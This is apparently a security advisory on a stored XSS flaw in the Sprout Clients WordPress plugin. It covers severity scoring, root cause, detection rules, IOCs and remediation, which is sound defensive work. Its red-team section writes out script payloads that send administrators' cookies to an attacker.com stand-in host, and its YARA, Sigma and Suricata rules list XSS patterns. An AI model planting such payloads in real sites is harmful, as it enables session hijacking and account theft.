CVE-2025-31797

Executive Summary

CVE-2025-31797 is a Stored Cross-Site Scripting (XSS) vulnerability in the Sprout Clients WordPress plugin (slug: sprout-clients) developed by BoldGrid. The vulnerability affects all versions up to and including 3.2. An authenticated attacker with contributor-level privileges or higher can inject arbitrary JavaScript into the web page through improperly neutralized input fields. When an administrator or other user views the affected page, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The CVSS v3.1 base score is 6.5 (Medium), with a vector emphasizing low-privilege access and required user interaction. No public proof-of-concept or patch details are currently available.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress Plugin Directory. Users are advised to monitor the plugin’s update channel and apply any security patches immediately upon release. Since the plugin is part of the WordPress ecosystem, supply chain risks include compromised updates or malicious forks.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector (AV): Network – the vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): Low – attacker needs contributor-level access.
• User Interaction (UI): Required – victim must view the compromised page.
• Scope (S): Changed – the injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – limited data exposure.
• Integrity (I): Low – limited ability to modify content.
• Availability (A): Low – limited impact on service availability.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored nature of the XSS makes it persistent and dangerous for site administrators.

Deep Dive & Mechanics

The vulnerability stems from improper neutralization of user-supplied input in the Sprout Clients plugin. When a user with contributor-level privileges or higher creates or edits a client entry (e.g., client name, description, or custom fields), the plugin fails to sanitize or escape the input before storing it in the WordPress database. When an administrator or other user views the client list or detail page, the stored payload is rendered in the browser without proper encoding, allowing arbitrary JavaScript execution.

Root Cause: The plugin likely uses functions like echo $client_name instead of echo esc_html( $client_name ) when outputting client data. This allows an attacker to inject HTML and script tags.

Attack Flow:

1. Attacker logs in with contributor-level credentials.
2. Attacker creates a new client entry with a malicious payload in a text field, e.g., <script>alert('XSS')</script>.
3. The payload is stored in the WordPress database.
4. Administrator navigates to the client management page.
5. The payload executes in the administrator’s browser, potentially stealing cookies or performing actions on their behalf.

Vulnerable vs. Patched Code

Vulnerable Code (example):

// In a template file or function
echo $client->name;

Patched Code (example):

// Properly escape output
echo esc_html( $client->name );

The patched version would use WordPress’s escaping functions (esc_html(), esc_attr(), etc.) to neutralize any HTML or JavaScript before rendering.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress instance with Sprout Clients plugin <= 3.2.
• Contributor-level account or higher.

Exploitation Steps:

1. Log in as a contributor.
2. Navigate to the “Add New Client” page.
3. In the “Client Name” field, enter:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the client entry.
5. Wait for an administrator to view the client list or detail page.
6. The script executes, sending the admin’s cookies to the attacker’s server.

Alternative Payload (session hijacking):

<script>new Image().src='https://attacker.com/steal?cookie='+document.cookie;</script>

Blue Team (Defensive)

Detection:

• Monitor for unusual client entries containing <script>, <img onerror>, or other HTML event handlers.
• Review WordPress database for stored XSS payloads in wp_postmeta or custom tables.
• Use Web Application Firewall (WAF) rules to block common XSS patterns.

Prevention:

• Ensure all user input is sanitized with wp_kses_post() or similar.
• Always escape output with esc_html(), esc_attr(), etc.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains containing cookie data in the URL.
• Host: Presence of <script> tags in client name, description, or custom fields in the WordPress database.
• Logs: Unusual POST requests to /wp-admin/admin-ajax.php or client creation endpoints with HTML payloads.
• File: Modified plugin files (though unlikely for stored XSS).

Example IOC (database query):

SELECT * FROM wp_posts WHERE post_content LIKE '%<script>%';

Detection Engineering

YARA Rule

rule CVE_2025_31797_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Sprout Clients plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-31797"
    strings:
        $xss1 = "<script>" ascii wide nocase
        $xss2 = "onerror=" ascii wide nocase
        $xss3 = "onload=" ascii wide nocase
        $xss4 = "javascript:" ascii wide nocase
    condition:
        any of ($xss*)
}

Sigma Rule

title: Stored XSS in Sprout Clients Plugin
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS payloads in Sprout Clients plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url: '/wp-admin/admin-ajax.php'
        http.body|contains: 
            - '<script>'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in client descriptions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-31797 Stored XSS Payload in Sprout Clients"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patched version is released.
2. Review and clean any existing client entries for malicious payloads.
3. Change all administrator passwords if compromise is suspected.

Long-term Fix:

• Apply the official patch from BoldGrid when available.
• Implement input validation and output escaping in custom code.
• Use a Web Application Firewall (WAF) with XSS rules.

Workaround:

• Restrict contributor-level access to trusted users only.
• Enable WordPress’s built-in DISALLOW_UNFILTERED_HTML constant.

Valters IT
Securing Digital Frontiers